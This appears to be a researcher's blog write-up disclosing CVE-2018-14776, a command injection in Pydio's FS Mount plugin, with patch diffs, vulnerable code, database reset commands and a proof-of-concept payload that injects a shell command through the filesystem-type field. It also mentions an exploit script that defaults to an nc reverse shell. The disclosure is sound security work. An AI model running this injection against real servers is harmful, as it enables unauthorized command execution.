intro
CVE-2018-14776 is a post-authentication remote code execution vulnerability that I found in the pydio filesharing platform. Descriptions of the vulnerability can be found in Mitre’s CVE database here or at NIST’s National Vulnerability Database here.
writeup
I actually found this vulnerability while investigating CVE-2015-3431
, a 10-score CVE in the pydio (formerly Ajaxexplorer) file-sharing platform. At the time, a former employer was using a vulnerable version of this application, which piqued my interest. I wanted to see what the vulnerability actually looked like and try to write my own version of the exploit. The first thing that I did was check the changelog for the patched version (6.0.7). The only reference to the vulnerability was in the release note
We are releasing today a security patch for v6. Vulnerabilities were reported by Lane Thames and are registered under CVE-2015-3431 and CVE-2015-3432.
In the smaller bugfixes some juicier bits related to user authentication were noted:
While these may be related to the “no authentication required” part of the CVE, I was more interested in discovering the avenue of code execution. With the CVE description and patchnotes being very uninformative, I moved on to diffing the pre-disclosure stable release with the patched release. Here is one of the diffs that caught my eye:
diff -Naur pydio-core-6.0.6/plugins/meta.mount/class.FilesystemMounter.php pydio-core-6.0.7/plugins/meta.mount/class.FilesystemMounter.php
--- pydio-core-6.0.6/plugins/meta.mount/class.FilesystemMounter.php 2015-04-09 04:11:19.000000000 -0400
+++ pydio-core-6.0.7/plugins/meta.mount/class.FilesystemMounter.php 2015-05-06 03:46:44.000000000 -0400
@@ -134,7 +134,7 @@
$UNC_PATH = $this->getOption("UNC_PATH", $user, $password, false);
$MOUNT_OPTIONS = $this->getOption("MOUNT_OPTIONS", $user, $password);
- $cmd = ($MOUNT_SUDO? "sudo ": ""). "mount -t " .$MOUNT_TYPE. (empty( $MOUNT_OPTIONS )? " " : " -o " .$MOUNT_OPTIONS. " " ) .$UNC_PATH. " " .$MOUNT_POINT;
+ $cmd = ($MOUNT_SUDO? "sudo ": ""). "mount -t " .$MOUNT_TYPE. (empty( $MOUNT_OPTIONS )? " " : " -o " .escapeshellarg($MOUNT_OPTIONS). " " ) .escapeshellarg($UNC_PATH). " " .escapeshellarg($MOUNT_POINT);
$res = null;
if($this->getOption("MOUNT_ENV_PASSWD") == true){
putenv("PASSWD=$password");
@@ -177,7 +177,7 @@
$MOUNT_POINT = $this->getOption("MOUNT_POINT", $user, $password);
$MOUNT_SUDO = $this->options["MOUNT_SUDO"];
- system(($MOUNT_SUDO?"sudo":"")." umount ".$MOUNT_POINT, $res);
+ system(($MOUNT_SUDO?"sudo":"")." umount ".escapeshellarg($MOUNT_POINT), $res);
Hmm…the patch diffs contain multiple variables that are now wrapped in escapeshellarg()
? That sounds like command injection to me! Now here is where I stumbled from CVE-2015-3431 into CVE-2018-14772. Here was the most up to date code in the same file at the time of discovery:
$cmd = $udevil."mount -t " .$MOUNT_TYPE. (empty( $MOUNT_OPTIONS )? " " : " -o " .escapeshellarg($MOUNT_OPTIONS). " " ) .escapeshellarg($UNC_PATH). " " .escapeshellarg($MOUNT_POINT);
Whoops, $MOUNT_TYPE
still isn’t escaped! Looks like we might be able to perform a command injection in a similar fashion to the old exploit. However, this file isn’t an endpoint that can be reached with a REST call with some paramaters. Instead it is logic triggered on an application state change. So in order to exploit this issue I had to dive a little further into what function the FilesystemMounter.php
file serves in the meta.mount
plugin.
The header for the FilesystemMounter.php
file states:
/**
* Dynamically mount a remote folder when switching to the repository
* @package AjaXplorer_Plugins
* @subpackage Meta
*
*/
That makes sense give the code snippets we saw before. So now we have to determine how to activate this plugin. To do this, I installed pydio
in a local VM and configured it. I wrote an ansible
role that I can share at some point (in a private repo at the moment) to take care of this deployment.
The plugin turned out to be called FS Mount
, and can be configured by going to Settings->Workspaces->(workspace)->Add a feature->FS Mount
in the settings menu of the administrative portal.
In browsing the plugin options, we can see a field called FS Type
.
This seems pretty similar to $MOUNT_TYPE
no? Let’s see what happens when we inject a command into that field, save the plugin to the workspace, and try to access the workspace.
Now, we browse to the workspace
Well, that certainly seems promising! However, for testing, I found it very cumbersome to have to reload the VM from my pre-injection snapshot every time I injected a payload. So to bypass this, I found the location in the local mysql
database where the plugin configuration data is stored.
$ mysql -u pydio -p
mysql> use pydio;
mysql> select val from ajxp_repo_options where uuid = "183698c607b1f3b9816a0c9306e6ccc8" and name = "META_SOURCES";
$phpserial$a:6:{s:16:"metastore.serial";a:2:{s:22:"METADATA_FILE_LOCATION";s:9:"infolders";s:13:"METADATA_FILE";s:10:".ajxp_meta";}s:15:"meta.filehasher";a:0:{}s:10:"meta.mount";a:8:{s:15:"FILESYSTEM_TYPE";s:34:"cifs; echo $(whoami) > /tmp/pwnd; ";s:13:"MOUNT_OPTIONS";s:69:"user=AJXP_USER,pass=AJXP_PASS,uid=AJXP_SERVER_UID,gid=AJXP_SERVER_GID";s:20:"MOUNT_RESULT_SUCCESS";s:2:"32";s:15:"USE_AUTH_STREAM";s:4:"true";s:8:"UNC_PATH";s:19:"127.0.0.1/somewhere";s:11:"MOUNT_POINT";s:14:"/tmp/somewhere";s:4:"USER";s:5:"admin";s:4:"PASS";s:8:"password";}s:13:"meta.syncable";a:3:{s:13:"REPO_SYNCABLE";s:4:"true";s:23:"OBSERVE_STORAGE_CHANGES";s:5:"false";s:21:"OBSERVE_STORAGE_EVERY";s:1:"5";}s:10:"meta.watch";a:0:{}s:12:"index.lucene";a:1:{s:13:"index_content";s:5:"false";}}
Pre-injection, my META_SOURCES
data for my repository of interest (183698c607b1f3b9816a0c9306e6ccc8
) looked like so:
$phpserial$a:5:{s:16:"metastore.serial";a:2:{s:22:"METADATA_FILE_LOCATION";s:9:"infolders";s:13:"METADATA_FILE";s:10:".ajxp_meta";}s:10:"meta.watch";a:0:{}s:13:"meta.syncable";a:3:{s:13:"REPO_SYNCABLE";s:4:"true";s:23:"OBSERVE_STORAGE_CHANGES";s:5:"false";s:21:"OBSERVE_STORAGE_EVERY";s:1:"5";}s:15:"meta.filehasher";a:0:{}s:12:"index.lucene";a:1:{s:13:"index_content";s:5:"false";}}
When I wanted to try another injection or payload, I would have to restart the VM as the borked config permanently corrupted the workspace. Instead of having to reload the VM, we can overwrite the corrupted value to the original value:
mysql> update ajxp_repo_options set val = '$phpserial$a:5:{s:16:"metastore.serial";a:2:{s:22:"METADATA_FILE_LOCATION";s:9:"infolders";s:13:"METADATA_FILE";s:10:".ajxp_meta";}s:10:"meta.watch";a:0:{}s:13:"meta.syncable";a:3:{s:13:"REPO_SYNCABLE";s:4:"true";s:23:"OBSERVE_STORAGE_CHANGES";s:5:"false";s:21:"OBSERVE_STORAGE_EVERY";s:1:"5";}s:15:"meta.filehasher";a:0:{}s:12:"index.lucene";a:1:{s:13:"index_content";s:5:"false";}}' where uuid = "183698c607b1f3b9816a0c9306e6ccc8" and name = "META_SOURCES";
Then follow up by restarting apache
sudo service apache2 restart
and you are ready to try again! I worked out a nice little payload that let me confirm arbitrary injection:
cifs; echo $(whoami) > /tmp/pwnd;
verifying this injection post-trigger is pretty straightforward
And there we have it! Successful arbitrary command execution.
impact
The vulnerability is present in all versions of pydio
between 4.2.1 (Jul 23, 2012) to 8.2.1 (October, 2018). The exploit requires administrative credentials as the user needs to have the ability to add a plugin to a workspace. I didn’t like having to click around to exploit this vulnerability, so I wrote a one-shot exploit for it that will throw you a reverse shell. The exploit script has some nifty functionality like auto-enumeration of potentially exploitable workspaces, and allows you to throw arbitrary payloads at the vulnerable server. Default is an nc
reverse shell
addendum
This vulnerability was patched in the 8.2.2 release of pydio
. You can find the PoC exploit for this vulnerability here.
- coastal